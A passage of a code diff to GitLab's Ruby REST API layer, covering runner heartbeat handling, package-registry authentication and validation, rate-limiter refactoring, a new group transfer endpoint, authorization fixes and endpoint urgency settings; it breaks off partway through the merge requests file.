diff --git a/lib/api/admin/plan_limits.rb b/lib/api/admin/plan_limits.rb
index ab6a4e4a04a..d595b5b2e09 100644
--- a/lib/api/admin/plan_limits.rb
+++ b/lib/api/admin/plan_limits.rb
@@ -37,6 +37,7 @@ module API
optional :conan_max_file_size, type: Integer, desc: 'Maximum Conan package file size in bytes'
optional :generic_packages_max_file_size, type: Integer, desc: 'Maximum generic package file size in bytes'
+ optional :helm_max_file_size, type: Integer, desc: 'Maximum Helm chart file size in bytes'
optional :maven_max_file_size, type: Integer, desc: 'Maximum Maven package file size in bytes'
optional :npm_max_file_size, type: Integer, desc: 'Maximum NPM package file size in bytes'
optional :nuget_max_file_size, type: Integer, desc: 'Maximum NuGet package file size in bytes'
diff --git a/lib/api/ci/helpers/runner.rb b/lib/api/ci/helpers/runner.rb
index dabb6c7ab3a..72c388160b4 100644
--- a/lib/api/ci/helpers/runner.rb
+++ b/lib/api/ci/helpers/runner.rb
@@ -29,7 +29,7 @@ module API
def get_runner_details_from_request
return get_runner_ip unless params['info'].present?
- attributes_for_keys(%w(name version revision platform architecture), params['info'])
+ attributes_for_keys(%w(name version revision platform architecture executor), params['info'])
.merge(get_runner_config_from_request)
.merge(get_runner_ip)
end
@@ -52,7 +52,7 @@ module API
# HTTP status codes to terminate the job on GitLab Runner:
# - 403
- def authenticate_job!(require_running: true)
+ def authenticate_job!(require_running: true, heartbeat_runner: false)
job = current_job
# 404 is not returned here because we want to terminate the job if it's
@@ -70,7 +70,17 @@ module API
job_forbidden!(job, 'Job is not running') unless job.running?
end
- job.runner&.heartbeat(get_runner_ip)
+ # Only some requests (like updating the job or patching the trace) should trigger
+ # runner heartbeat. Operations like artifacts uploading are executed in context of
+ # the running job and in the job environment, which in many cases will cause the IP
+ # to be updated to not the expected value. And operations like artifacts downloads can
+ # be done even after the job is finished and from totally different runners - while
+ # they would then update the connection status of not the runner that they should.
+ # Runner requests done in context of job authentication should explicitly define when
+ # the heartbeat should be triggered.
+ if heartbeat_runner
+ job.runner&.heartbeat(get_runner_ip)
+ end
job
end
diff --git a/lib/api/ci/pipelines.rb b/lib/api/ci/pipelines.rb
index 03b59e7e6ad..4e5d6c264bf 100644
--- a/lib/api/ci/pipelines.rb
+++ b/lib/api/ci/pipelines.rb
@@ -166,7 +166,7 @@ module API
params do
requires :pipeline_id, type: Integer, desc: 'The pipeline ID'
end
- get ':id/pipelines/:pipeline_id/variables', feature_category: :pipeline_authoring do
+ get ':id/pipelines/:pipeline_id/variables', feature_category: :pipeline_authoring, urgency: :low do
authorize! :read_pipeline_variable, pipeline
present pipeline.variables, with: Entities::Ci::Variable
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index aabcf34952c..4317789f7aa 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -176,7 +176,7 @@ module API
optional :exit_code, type: Integer, desc: %q(Job's exit code)
end
put '/:id', feature_category: :continuous_integration do
- job = authenticate_job!
+ job = authenticate_job!(heartbeat_runner: true)
Gitlab::Metrics.add_event(:update_build)
@@ -203,7 +203,7 @@ module API
optional :token, type: String, desc: %q(Job's authentication token)
end
patch '/:id/trace', feature_category: :continuous_integration do
- job = authenticate_job!
+ job = authenticate_job!(heartbeat_runner: true)
error!('400 Missing header Content-Range', 400) unless request.headers.key?('Content-Range')
content_range = request.headers['Content-Range']
diff --git a/lib/api/commit_statuses.rb b/lib/api/commit_statuses.rb
index 1785362656e..c89abf72e2d 100644
--- a/lib/api/commit_statuses.rb
+++ b/lib/api/commit_statuses.rb
@@ -78,13 +78,16 @@ module API
name = params[:name] || params[:context] || 'default'
- pipeline ||= user_project.ci_pipelines.create!(
+ pipeline ||= user_project.ci_pipelines.build(
source: :external,
sha: commit.sha,
ref: ref,
user: current_user,
protected: user_project.protected_for?(ref))
+ pipeline.ensure_project_iid!
+ pipeline.save!
+
authorize! :update_pipeline, pipeline
status = GenericCommitStatus.running_or_pending.find_or_initialize_by(
diff --git a/lib/api/composer_packages.rb b/lib/api/composer_packages.rb
index 94cad7e6c65..0e6e04d2645 100644
--- a/lib/api/composer_packages.rb
+++ b/lib/api/composer_packages.rb
@@ -70,7 +70,7 @@ module API
end
desc 'Composer packages endpoint at group level'
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true, deploy_token_allowed: true
get ':id/-/packages/composer/packages' do
presenter.root
end
@@ -79,7 +79,7 @@ module API
params do
requires :sha, type: String, desc: 'Shasum of current json'
end
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true, deploy_token_allowed: true
get ':id/-/packages/composer/p/:sha' do
presenter.provider
end
@@ -88,7 +88,7 @@ module API
params do
requires :package_name, type: String, file_path: true, desc: 'The Composer package name'
end
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true, deploy_token_allowed: true
get ':id/-/packages/composer/p2/*package_name', requirements: COMPOSER_ENDPOINT_REQUIREMENTS, file_path: true do
not_found! if packages.empty?
@@ -99,7 +99,7 @@ module API
params do
requires :package_name, type: String, file_path: true, desc: 'The Composer package name'
end
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true, deploy_token_allowed: true
get ':id/-/packages/composer/*package_name', requirements: COMPOSER_ENDPOINT_REQUIREMENTS, file_path: true do
not_found! if packages.empty?
not_found! if params[:sha].blank?
@@ -119,7 +119,7 @@ module API
desc 'Composer packages endpoint for registering packages'
namespace ':id/packages/composer' do
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true, deploy_token_allowed: true
params do
optional :branch, type: String, desc: 'The name of the branch'
diff --git a/lib/api/concerns/packages/conan_endpoints.rb b/lib/api/concerns/packages/conan_endpoints.rb
index 3194cdebde8..edf20b6aebe 100644
--- a/lib/api/concerns/packages/conan_endpoints.rb
+++ b/lib/api/concerns/packages/conan_endpoints.rb
@@ -27,6 +27,7 @@ module API
PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex
CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex
+ CONAN_REVISION_USER_CHANNEL_REGEX = Gitlab::Regex.conan_recipe_user_channel_regex
CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze
@@ -105,10 +106,14 @@ module API
params do
requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ requires :package_username, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package channel'
end
namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do
+ after_validation do
+ check_username_channel
+ end
+
# Get the snapshot
#
# the snapshot is a hash of { filename: md5 hash }
@@ -264,8 +269,8 @@ module API
params do
requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ requires :package_username, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: CONAN_REVISION_USER_CHANNEL_REGEX, desc: 'Package channel'
requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision'
end
namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do
@@ -273,6 +278,10 @@ module API
authenticate_non_get!
end
+ after_validation do
+ check_username_channel
+ end
+
params do
requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
end
diff --git a/lib/api/concerns/packages/npm_endpoints.rb b/lib/api/concerns/packages/npm_endpoints.rb
index 7a657be5bf3..d6e006df976 100644
--- a/lib/api/concerns/packages/npm_endpoints.rb
+++ b/lib/api/concerns/packages/npm_endpoints.rb
@@ -121,9 +121,7 @@ module API
not_found!('Packages') if packages.empty?
- include_metadata = Feature.enabled?(:packages_npm_abbreviated_metadata, project, default_enabled: :yaml)
-
- present ::Packages::Npm::PackagePresenter.new(package_name, packages, include_metadata: include_metadata),
+ present ::Packages::Npm::PackagePresenter.new(package_name, packages),
with: ::API::Entities::NpmPackage
end
end
diff --git a/lib/api/dependency_proxy.rb b/lib/api/dependency_proxy.rb
index 185b8d5a15d..9d0b1bf4423 100644
--- a/lib/api/dependency_proxy.rb
+++ b/lib/api/dependency_proxy.rb
@@ -6,15 +6,6 @@ module API
feature_category :dependency_proxy
- helpers do
- def obtain_new_purge_cache_lease
- Gitlab::ExclusiveLease
- .new("dependency_proxy:delete_group_blobs:#{user_group.id}",
- timeout: 1.hour)
- .try_obtain
- end
- end
-
after_validation do
authorize! :admin_group, user_group
end
@@ -29,9 +20,6 @@ module API
delete ':id/dependency_proxy/cache' do
not_found! unless user_group.dependency_proxy_feature_available?
- message = 'This request has already been made. It may take some time to purge the cache. You can run this at most once an hour for a given group'
- render_api_error!(message, 409) unless obtain_new_purge_cache_lease
-
# rubocop:disable CodeReuse/Worker
PurgeDependencyProxyCacheWorker.perform_async(current_user.id, user_group.id)
# rubocop:enable CodeReuse/Worker
diff --git a/lib/api/discussions.rb b/lib/api/discussions.rb
index cf4b2348458..0709a8c2036 100644
--- a/lib/api/discussions.rb
+++ b/lib/api/discussions.rb
@@ -8,6 +8,13 @@ module API
before { authenticate! }
+ urgency :low, [
+ '/projects/:id/merge_requests/:noteable_id/discussions',
+ '/projects/:id/merge_requests/:noteable_id/discussions/:discussion_id',
+ '/projects/:id/merge_requests/:noteable_id/discussions/:discussion_id/notes',
+ '/projects/:id/merge_requests/:noteable_id/discussions/:discussion_id/notes/:note_id'
+ ]
+
Helpers::DiscussionsHelpers.feature_category_per_noteable_type.each do |noteable_type, feature_category|
parent_type = noteable_type.parent_class.to_s.underscore
noteables_str = noteable_type.to_s.underscore.pluralize
diff --git a/lib/api/entities/changelog.rb b/lib/api/entities/changelog.rb
new file mode 100644
index 00000000000..f8ca5826418
--- /dev/null
+++ b/lib/api/entities/changelog.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class Changelog < Grape::Entity
+ expose :to_s, as: :notes
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_basic.rb b/lib/api/entities/ci/job_basic.rb
index c31340f1ff0..0badde4089e 100644
--- a/lib/api/entities/ci/job_basic.rb
+++ b/lib/api/entities/ci/job_basic.rb
@@ -13,6 +13,7 @@ module API
expose :user, with: ::API::Entities::User
expose :commit, with: ::API::Entities::Commit
expose :pipeline, with: ::API::Entities::Ci::PipelineBasic
+ expose :failure_reason, if: -> (job) { job.failed? }
expose :web_url do |job, _options|
Gitlab::Routing.url_helpers.project_job_url(job.project, job)
diff --git a/lib/api/entities/ci/pipeline.rb b/lib/api/entities/ci/pipeline.rb
index 11336ae070d..a8033a21044 100644
--- a/lib/api/entities/ci/pipeline.rb
+++ b/lib/api/entities/ci/pipeline.rb
@@ -10,7 +10,9 @@ module API
expose :created_at, :updated_at, :started_at, :finished_at, :committed_at
expose :duration
expose :queued_duration
- expose :coverage
+ expose :coverage do |pipeline|
+ pipeline.present.coverage
+ end
expose :detailed_status, using: DetailedStatusEntity do |pipeline, options|
pipeline.detailed_status(options[:current_user])
end
diff --git a/lib/api/entities/ci/pipeline_basic.rb b/lib/api/entities/ci/pipeline_basic.rb
index 4d56176bdb3..a2a5a98920a 100644
--- a/lib/api/entities/ci/pipeline_basic.rb
+++ b/lib/api/entities/ci/pipeline_basic.rb
@@ -4,7 +4,7 @@ module API
module Entities
module Ci
class PipelineBasic < Grape::Entity
- expose :id, :project_id, :sha, :ref, :status, :source
+ expose :id, :iid, :project_id, :sha, :ref, :status, :source
expose :created_at, :updated_at
expose :web_url do |pipeline, _options|
diff --git a/lib/api/entities/ci/runner.rb b/lib/api/entities/ci/runner.rb
index 60193fe1df4..c17ff513479 100644
--- a/lib/api/entities/ci/runner.rb
+++ b/lib/api/entities/ci/runner.rb
@@ -14,7 +14,7 @@ module API
expose :online?, as: :online
# DEPRECATED
# TODO Remove in %15.0 in favor of `status` for REST calls, see https://gitlab.com/gitlab-org/gitlab/-/issues/344648
- expose :status, as: :deprecated_rest_status
+ expose :deprecated_rest_status, as: :status
end
end
end
diff --git a/lib/api/entities/commit_signature.rb b/lib/api/entities/commit_signature.rb
index 505ce462edf..0d8e977a9f5 100644
--- a/lib/api/entities/commit_signature.rb
+++ b/lib/api/entities/commit_signature.rb
@@ -6,9 +6,9 @@ module API
expose :signature_type
expose :signature, merge: true do |commit, options|
- if commit.signature.is_a?(GpgSignature) || commit.raw_commit_from_rugged?
+ if commit.signature.is_a?(::CommitSignatures::GpgSignature) || commit.raw_commit_from_rugged?
::API::Entities::GpgCommitSignature.represent commit_signature(commit), options
- elsif commit.signature.is_a?(X509CommitSignature)
+ elsif commit.signature.is_a?(::CommitSignatures::X509CommitSignature)
::API::Entities::X509Signature.represent commit.signature, options
end
end
diff --git a/lib/api/entities/issue_basic.rb b/lib/api/entities/issue_basic.rb
index ab248523028..6125dc05a6e 100644
--- a/lib/api/entities/issue_basic.rb
+++ b/lib/api/entities/issue_basic.rb
@@ -23,7 +23,7 @@ module API
expose :issue_type,
as: :type,
format_with: :upcase,
- documentation: { type: "String", desc: "One of #{::WorkItem::Type.base_types.keys.map(&:upcase)}" }
+ documentation: { type: "String", desc: "One of #{::WorkItem::Type.allowed_types_for_issues.map(&:upcase)}" }
expose :assignee, using: ::API::Entities::UserBasic do |issue|
issue.assignees.first
diff --git a/lib/api/entities/personal_access_token.rb b/lib/api/entities/personal_access_token.rb
index 3846929c903..55764daef9d 100644
--- a/lib/api/entities/personal_access_token.rb
+++ b/lib/api/entities/personal_access_token.rb
@@ -3,7 +3,7 @@
module API
module Entities
class PersonalAccessToken < Grape::Entity
- expose :id, :name, :revoked, :created_at, :scopes, :user_id
+ expose :id, :name, :revoked, :created_at, :scopes, :user_id, :last_used_at
expose :active?, as: :active
expose :expires_at do |personal_access_token|
personal_access_token.expires_at ? personal_access_token.expires_at.strftime("%Y-%m-%d") : nil
diff --git a/lib/api/entities/plan_limit.rb b/lib/api/entities/plan_limit.rb
index 04ec44b5167..9f4d1635998 100644
--- a/lib/api/entities/plan_limit.rb
+++ b/lib/api/entities/plan_limit.rb
@@ -5,6 +5,7 @@ module API
class PlanLimit < Grape::Entity
expose :conan_max_file_size
expose :generic_packages_max_file_size
+ expose :helm_max_file_size
expose :maven_max_file_size
expose :npm_max_file_size
expose :nuget_max_file_size
diff --git a/lib/api/entities/project.rb b/lib/api/entities/project.rb
index 662ca59852e..1b9299ed17e 100644
--- a/lib/api/entities/project.rb
+++ b/lib/api/entities/project.rb
@@ -117,6 +117,7 @@ module API
expose :squash_option
expose :suggestion_commit_message
expose :merge_commit_template
+ expose :squash_commit_template
expose :statistics, using: 'API::Entities::ProjectStatistics', if: -> (project, options) {
options[:statistics] && Ability.allowed?(options[:current_user], :read_statistics, project)
}
diff --git a/lib/api/entities/project_import_failed_relation.rb b/lib/api/entities/project_import_failed_relation.rb
index b8f842c1646..26cfae7260c 100644
--- a/lib/api/entities/project_import_failed_relation.rb
+++ b/lib/api/entities/project_import_failed_relation.rb
@@ -10,6 +10,7 @@ module API
end
expose :relation_key, as: :relation_name
+ expose :relation_index, as: :line_number
end
end
end
diff --git a/lib/api/entities/project_import_status.rb b/lib/api/entities/project_import_status.rb
index e79c1cdf1a2..5daae4a70f2 100644
--- a/lib/api/entities/project_import_status.rb
+++ b/lib/api/entities/project_import_status.rb
@@ -4,6 +4,7 @@ module API
module Entities
class ProjectImportStatus < ProjectIdentity
expose :import_status
+ expose :import_type
expose :correlation_id do |project, _options|
project.import_state&.correlation_id
end
@@ -15,6 +16,12 @@ module API
expose :import_error do |project, _options|
project.import_state&.last_error
end
+
+ expose :stats do |project, _options|
+ if project.github_import?
+ ::Gitlab::GithubImport::ObjectCounter.summary(project)
+ end
+ end
end
end
end
diff --git a/lib/api/group_export.rb b/lib/api/group_export.rb
index 25cc4e53bd2..f0c0182a02f 100644
--- a/lib/api/group_export.rb
+++ b/lib/api/group_export.rb
@@ -18,7 +18,7 @@ module API
detail 'This feature was introduced in GitLab 12.5.'
end
get ':id/export/download' do
- check_rate_limit! :group_download_export, [current_user, user_group]
+ check_rate_limit! :group_download_export, scope: [current_user, user_group]
if user_group.export_file_exists?
if user_group.export_archive_exists?
@@ -35,7 +35,7 @@ module API
detail 'This feature was introduced in GitLab 12.5.'
end
post ':id/export' do
- check_rate_limit! :group_export, [current_user]
+ check_rate_limit! :group_export, scope: current_user
export_service = ::Groups::ImportExport::ExportService.new(group: user_group, user: current_user)
diff --git a/lib/api/groups.rb b/lib/api/groups.rb
index 680e3a6e994..d3d1f03585b 100644
--- a/lib/api/groups.rb
+++ b/lib/api/groups.rb
@@ -109,7 +109,7 @@ module API
end
def present_groups_with_pagination_strategies(params, groups)
- return present_groups(params, groups) if current_user.present? || Feature.disabled?(:keyset_pagination_for_groups_api)
+ return present_groups(params, groups) if current_user.present?
options = {
with: Entities::Group,
@@ -382,6 +382,28 @@ module API
end
end
+ desc 'Transfer a group to a new parent group or promote a subgroup to a root group'
+ params do
+ optional :group_id, type: Integer,
+ desc: 'The ID of the target group to which the group needs to be transferred to.'\
+ 'If not provided, the source group will be promoted to a root group.'
+ end
+ post ':id/transfer' do
+ group = find_group!(params[:id])
+ authorize! :admin_group, group
+
+ new_parent_group = find_group!(params[:group_id]) if params[:group_id].present?
+
+ service = ::Groups::TransferService.new(group, current_user)
+
+ if service.execute(new_parent_group)
+ group.preload_shared_group_links
+ present group, with: Entities::GroupDetail, current_user: current_user
+ else
+ render_api_error!(service.error, 400)
+ end
+ end
+
desc 'Share a group with a group' do
success Entities::GroupDetail
end
diff --git a/lib/api/helpers/label_helpers.rb b/lib/api/helpers/label_helpers.rb
index da0ee8f207e..02613cbf9b9 100644
--- a/lib/api/helpers/label_helpers.rb
+++ b/lib/api/helpers/label_helpers.rb
@@ -105,7 +105,11 @@ module API
end
def promote_label(parent)
- authorize! :admin_label, parent
+ unless parent.group
+ render_api_error!('Failed to promote project label to group label', 400)
+ end
+
+ authorize! :admin_label, parent.group
label = find_label(parent, params[:name], include_ancestor_groups: false)
diff --git a/lib/api/helpers/members_helpers.rb b/lib/api/helpers/members_helpers.rb
index 1e89f9f97a2..c2710be6c03 100644
--- a/lib/api/helpers/members_helpers.rb
+++ b/lib/api/helpers/members_helpers.rb
@@ -8,6 +8,9 @@ module API
params :optional_filter_params_ee do
end
+ params :optional_state_filter_ee do
+ end
+
def find_source(source_type, id)
public_send("find_#{source_type}!", id) # rubocop:disable GitlabSecurity/PublicSend
end
diff --git a/lib/api/helpers/packages/conan/api_helpers.rb b/lib/api/helpers/packages/conan/api_helpers.rb
index 4b6dac39348..031c29e7472 100644
--- a/lib/api/helpers/packages/conan/api_helpers.rb
+++ b/lib/api/helpers/packages/conan/api_helpers.rb
@@ -7,6 +7,21 @@ module API
module ApiHelpers
include Gitlab::Utils::StrongMemoize
+ def check_username_channel
+ username = declared(params)[:package_username]
+ channel = declared(params)[:package_channel]
+
+ if username == ::Packages::Conan::Metadatum::NONE_VALUE && package_scope == :instance
+ # at the instance level, username must not be empty (naming convention)
+ # don't try to process the empty username and eagerly return not found.
+ not_found!
+ end
+
+ ::Packages::Conan::Metadatum.validate_username_and_channel(username, channel) do |none_field|
+ bad_request!("#{none_field} can't be solely blank")
+ end
+ end
+
def present_download_urls(entity)
authorize!(:read_package, project)
diff --git a/lib/api/helpers/projects_helpers.rb b/lib/api/helpers/projects_helpers.rb
index 42d1c40dd11..d7de8bd8b8b 100644
--- a/lib/api/helpers/projects_helpers.rb
+++ b/lib/api/helpers/projects_helpers.rb
@@ -62,6 +62,7 @@ module API
optional :merge_method, type: String, values: %w(ff rebase_merge merge), desc: 'The merge method used when merging merge requests'
optional :suggestion_commit_message, type: String, desc: 'The commit message used to apply merge request suggestions'
optional :merge_commit_template, type: String, desc: 'Template used to create merge commit message'
+ optional :squash_commit_template, type: String, desc: 'Template used to create squash commit message'
optional :initialize_with_readme, type: Boolean, desc: "Initialize a project with a README.md"
optional :ci_default_git_depth, type: Integer, desc: 'Default number of revisions for shallow cloning'
optional :auto_devops_enabled, type: Boolean, desc: 'Flag indication if Auto DevOps is enabled'
@@ -162,6 +163,7 @@ module API
:avatar,
:suggestion_commit_message,
:merge_commit_template,
+ :squash_commit_template,
:repository_storage,
:compliance_framework_setting,
:packages_enabled,
@@ -181,9 +183,10 @@ module API
def filter_attributes_using_license!(attrs)
end
- def validate_git_import_url!(import_url, import_enabled: true)
+ def validate_git_import_url!(import_url)
return if import_url.blank?
- return unless import_enabled
+
+ yield if block_given?
result = Import::ValidateRemoteGitEndpointService.new(url: import_url).execute # network call
diff --git a/lib/api/helpers/rate_limiter.rb b/lib/api/helpers/rate_limiter.rb
index 3a16aef6a74..7d87c74097d 100644
--- a/lib/api/helpers/rate_limiter.rb
+++ b/lib/api/helpers/rate_limiter.rb
@@ -2,26 +2,27 @@
module API
module Helpers
+ # == RateLimiter
+ #
+ # Helper that checks if the rate limit for a given endpoint is throttled by calling the
+ # Gitlab::ApplicationRateLimiter class. If the action is throttled for the current user, the request
+ # will be logged and an error message will be rendered with a Too Many Requests response status.
+ # See app/controllers/concerns/check_rate_limit.rb for Rails controllers version
module RateLimiter
- def check_rate_limit!(key, scope, users_allowlist = nil)
- if rate_limiter.throttled?(key, scope: scope, users_allowlist: users_allowlist)
- log_request(key)
- render_exceeded_limit_error!
- end
- end
+ def check_rate_limit!(key, scope:, **options)
+ return unless rate_limiter.throttled?(key, scope: scope, **options)
- private
+ rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
+ return yield if block_given?
- def render_exceeded_limit_error!
render_api_error!({ error: _('This endpoint has been requested too many times. Try again later.') }, 429)
end
- def log_request(key)
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
+ private
+
+ def rate_limiter
+ ::Gitlab::ApplicationRateLimiter
end
end
end
diff --git a/lib/api/invitations.rb b/lib/api/invitations.rb
index f7f5af07378..d78576b5d5b 100644
--- a/lib/api/invitations.rb
+++ b/lib/api/invitations.rb
@@ -24,7 +24,6 @@ module API
requires :access_level, type: Integer, values: Gitlab::Access.all_values, desc: 'A valid access level (defaults: `30`, developer access level)'
optional :expires_at, type: DateTime, desc: 'Date string in the format YEAR-MONTH-DAY'
optional :invite_source, type: String, desc: 'Source that triggered the member creation process', default: 'invitations-api'
- optional :areas_of_focus, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Areas the inviter wants the member to focus upon'
optional :tasks_to_be_done, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Tasks the inviter wants the member to do'
optional :tasks_project_id, type: Integer, desc: 'The project ID in which to create the task issues'
end
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index 9958526fa7f..4d67cbd1272 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -82,7 +82,7 @@ module API
desc: 'Return issues sorted in `asc` or `desc` order.'
optional :due_date, type: String, values: %w[0 overdue week month next_month_and_previous_two_weeks] << '',
desc: 'Return issues that have no due date (`0`), or whose due date is this week, this month, between two weeks ago and next month, or which are overdue. Accepts: `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`, `0`'
- optional :issue_type, type: String, values: WorkItem::Type.base_types.keys, desc: "The type of the issue. Accepts: #{WorkItem::Type.base_types.keys.join(', ')}"
+ optional :issue_type, type: String, values: WorkItem::Type.allowed_types_for_issues, desc: "The type of the issue. Accepts: #{WorkItem::Type.allowed_types_for_issues.join(', ')}"
use :issues_stats_params
use :pagination
@@ -99,7 +99,7 @@ module API
optional :due_date, type: String, desc: 'Date string in the format YEAR-MONTH-DAY'
optional :confidential, type: Boolean, desc: 'Boolean parameter if the issue should be confidential'
optional :discussion_locked, type: Boolean, desc: " Boolean parameter indicating if the issue's discussion is locked"
- optional :issue_type, type: String, values: WorkItem::Type.base_types.keys, desc: "The type of the issue. Accepts: #{WorkItem::Type.base_types.keys.join(', ')}"
+ optional :issue_type, type: String, values: WorkItem::Type.allowed_types_for_issues, desc: "The type of the issue. Accepts: #{WorkItem::Type.allowed_types_for_issues.join(', ')}"
use :optional_issue_params_ee
end
@@ -262,7 +262,7 @@ module API
post ':id/issues' do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/21140')
- check_rate_limit! :issues_create, [current_user] if Feature.disabled?("rate_limited_service_issues_create", user_project, default_enabled: :yaml)
+ check_rate_limit!(:issues_create, scope: current_user) if Feature.disabled?("rate_limited_service_issues_create", user_project, default_enabled: :yaml)
authorize! :create_issue, user_project
@@ -472,7 +472,7 @@ module API
end
get ':id/issues/:issue_iid/participants' do
issue = find_project_issue(params[:issue_iid])
- participants = ::Kaminari.paginate_array(issue.participants)
+ participants = ::Kaminari.paginate_array(issue.visible_participants(current_user))
present paginate(participants), with: Entities::UserBasic, current_user: current_user, project: user_project
end
diff --git a/lib/api/lint.rb b/lib/api/lint.rb
index 3655cb56564..bfd457a3092 100644
--- a/lib/api/lint.rb
+++ b/lib/api/lint.rb
@@ -43,7 +43,7 @@ module API
optional :dry_run, type: Boolean, default: false, desc: 'Run pipeline creation simulation, or only do static check.'
optional :include_jobs, type: Boolean, desc: 'Whether or not to include CI jobs in the response'
end
- get ':id/ci/lint' do
+ get ':id/ci/lint', urgency: :low do
authorize! :download_code, user_project
content = user_project.repository.gitlab_ci_yml_for(user_project.commit.id, user_project.ci_config_path_or_default)
@@ -64,7 +64,7 @@ module API
optional :dry_run, type: Boolean, default: false, desc: 'Run pipeline creation simulation, or only do static check.'
optional :include_jobs, type: Boolean, desc: 'Whether or not to include CI jobs in the response'
end
- post ':id/ci/lint' do
+ post ':id/ci/lint', urgency: :low do
authorize! :create_pipeline, user_project
result = Gitlab::Ci::Lint
diff --git a/lib/api/members.rb b/lib/api/members.rb
index f488c8c26fc..4798edc4ddf 100644
--- a/lib/api/members.rb
+++ b/lib/api/members.rb
@@ -41,6 +41,7 @@ module API
optional :query, type: String, desc: 'A query string to search for members'
optional :user_ids, type: Array[Integer], coerce_with: ::API::Validations::Types::CommaSeparatedToIntegerArray.coerce, desc: 'Array of user ids to look up for membership'
optional :show_seat_info, type: Boolean, desc: 'Show seat information for members'
+ use :optional_state_filter_ee
use :pagination
end
@@ -94,7 +95,6 @@ module API
requires :user_id, types: [Integer, String], desc: 'The user ID of the new member or multiple IDs separated by commas.'
optional :expires_at, type: DateTime, desc: 'Date string in the format YEAR-MONTH-DAY'
optional :invite_source, type: String, desc: 'Source that triggered the member creation process', default: 'members-api'
- optional :areas_of_focus, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Areas the inviter wants the member to focus upon'
optional :tasks_to_be_done, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Tasks the inviter wants the member to do'
optional :tasks_project_id, type: Integer, desc: 'The project ID in which to create the task issues'
end
diff --git a/lib/api/merge_request_diffs.rb b/lib/api/merge_request_diffs.rb
index 8fa7138af42..87623568a04 100644
--- a/lib/api/merge_request_diffs.rb
+++ b/lib/api/merge_request_diffs.rb
@@ -38,7 +38,7 @@ module API
requires :version_id, type: Integer, desc: 'The ID of a merge request diff version'
end
- get ":id/merge_requests/:merge_request_iid/versions/:version_id" do
+ get ":id/merge_requests/:merge_request_iid/versions/:version_id", urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present_cached merge_request.merge_request_diffs.find(params[:version_id]), with: Entities::MergeRequestDiffFull, cache_context: nil
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index 96d1a69c03a..3f39af7f909 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -134,7 +134,7 @@ module API
use :merge_requests_params
use :optional_scope_param
end
- get feature_category: :code_review do
+ get feature_category: :code_review, urgency: :low do
authenticate! unless params[:scope] == 'all'
validate_anonymous_search_access! if params[:search].present?
merge_requests = find_merge_requests
@@ -155,7 +155,7 @@ module API
optional :non_archived, type: Boolean, desc: 'Return merge requests from non archived projects',
default: true
end
- get ":id/merge_requests", feature_category: :code_review do
+ get ":id/merge_requests", feature_category: :code_review, urgency: :low do
validate_anonymous_search_access! if declared_params[:search].present?
merge_requests = find_merge_requests(group_id: user_group.id, include_subgroups: true)
@@ -195,7 +195,7 @@ module API
use :merge_requests_params
optional :iids, type: Array[Integer], coerce_with: ::API::Validations::Types::CommaSeparatedToIntegerArray.coerce, desc: 'The IID array of merge requests'
end
- get ":id/merge_requests", feature_category: :code_review do
+ get ":id/merge_requests", feature_category: :code_review, urgency: :low do
authorize! :read_merge_request, user_project
